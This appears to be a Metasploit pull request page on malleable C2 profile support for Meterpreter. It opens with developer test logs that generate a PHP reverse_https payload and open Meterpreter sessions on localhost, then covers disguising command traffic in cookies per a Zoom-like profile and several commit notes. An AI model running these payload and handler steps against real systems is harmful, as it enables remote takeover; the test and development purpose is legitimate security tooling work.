[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: c1pntd9x) Redirecting stageless: URI '/s/58462514417 /wc/58462514417' with UA 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16C104' -> UUID edh8z74Ox4owsyO8WoM3pgMxtVxi0N-7tHbG91flz3m5EJYJ0Ovswo6QbbySUWGD_W2XPOYX3Zft79YR1S-s0O-pDPSoSic76PZZGxVIY-mAcvkdoSj1jVUCZ-70Q-
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: c1pntd9x) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: c1pntd9x) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: c1pntd9x) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:58230) at 2026-06-15 16:07:18 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

staged

resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter/reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
[*] Writing 689 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler

[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter/reverse_https) > 
msf payload(php/meterpreter/reverse_https) > 
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g3lhpazr) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g3lhpazr) Staging php payload (67382 bytes) ...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g3lhpazr) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:50828) at 2026-06-15 16:08:57 +0200

msf payload(php/meterpreter/reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

@OJ

OJ commented Jun 16, 2026

Copy link
Copy Markdown
Contributor Author

hey @dledda-r7 @msutovsky-r7 @smcintyre-r7 food for thought:

The zoom.profile that you have been testing with is configured like so:

http-post {
	client {
		output {
			base64url;
			prepend "zm_gnl_guid=";
			header "Cookie";
		}
	}
}

This is telling MSF to put the responses to commands as a base64uri encoded payload in a cookie called zm_gnl_guid. Unfortunately for us we don't handle things the same as Cobalt Strike, and we don't break payloads up into smaller chunks and drip-feed them back. So this means that our responses can be really big. Like, really big. If something like Nginx is in front of MSF when handling this profile, there'll be a limitation of 8kb on this value.

Currently I haven't built support for this, so it just falls back to being in the body of the response.

Do you want me to make it so that we just handle this like CS does and no worry about having servers with limitations in front? Should we throw a warning to the user?

Keen to hear your thoughts, thanks.

@OJ

OJ commented Jun 16, 2026

Copy link
Copy Markdown
Contributor Author

I have pushed up the latest round of changes to payloads/framework/mettle, which includes changes to all the payloads.

The primary change is supporting multiple space-delimited URIs in the get/post sections (this is what was causing things to go bad in the zoom.profile). So that should work across all versions now.

Thanks to all for the help so far!

@smcintyre-r7

Copy link
Copy Markdown
Contributor

Do you want me to make it so that we just handle this like CS does and no worry about having servers with limitations in front? Should we throw a warning to the user?

Let's throw a warning for now if we can reliably detect the conditions in which this would be an issue. We can document the limitation in a ticket, optionally pointing users to it where they can comment on it +1 it or whatever in the warning. That'll let us get back around to it in the future without throwing things too far off track today.

Does that sound reasonable?

@OJ

OJ commented Jun 16, 2026

Copy link
Copy Markdown
Contributor Author

Let's throw a warning for now if we can reliably detect the conditions in which this would be an issue.

What do you mean by that? Do you mean we indicate when certain commands won't work? We'd have to detect that on the fly based on the encoding, the size of the output of the command, etc. Would it not be better to just not support it to start with? Most commands would likely be well under the 8kb limit (assuming the user doesn't pre/append too much data to it), but I'm still concerned that there's a good chance packets will result in being too big.

Up to you though :) If you want some kind of support, can you define what you would mean by 'detecting' in this case? Thanks!

@smcintyre-r7

Copy link
Copy Markdown
Contributor

Yeah that makes sense, we can disregard my original comment. If it's feasible to support it, let's try to do that and not worry about servers with limitations like an Nginx reverse proxy. We can just try to document that somewhere.

OJ added 13 commits July 1, 2026 17:47
Comms handle is a windows concern, so that's removed from the generation
of the config TLV now.
They aren't valid any more.
Stagless android was busted when meterp switched to TLV config. This
moves the flags to a TLV instead of the first byte of the config block.
Primary fix here is to make sure we put the UUID in the configuration in
the right format. It was being ignored by Windows, but not by python.
Properly supports stageless now.
OJ added 12 commits July 1, 2026 17:54
PHP, java, python, and php. Adjusting windows to support.

Mettle yet to come.
Make the malleable C2 parser robust to real Cobalt Strike profiles and
honour space-separated URI lists.

Parser tolerance: detect blocks by lookahead (`name { ... }`) instead of
a fixed keyword whitelist, and allow identifier-named blocks/directives.
Unsupported blocks (dns-beacon, http-config, process-inject, post-ex,
code-signer, ...) are now parsed for structure and ignored by to_tlv
rather than aborting the whole profile. A stray top-level directive is
consumed instead of raising.

Multi-URI support: a `set uri` value may list several space-separated
candidate URIs (CS picks one at random per request). ParsedProfile#uris
now splits and flattens them so the handler registers a mount per
candidate, and add_uri emits a separate TLV_TYPE_C2_URI per candidate
(each with the query string) instead of one TLV holding the raw
space-joined string, which the client could not turn into a valid URL.
This updates the config block accounts for the 8 byte handle like the
staged variants do.
@OJ

OJ commented Jul 5, 2026

Copy link
Copy Markdown
Contributor Author

@smcintyre-r7 what's left on this side to wort out mate?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: In Progress

Development

Successfully merging this pull request may close these issues.

5 participants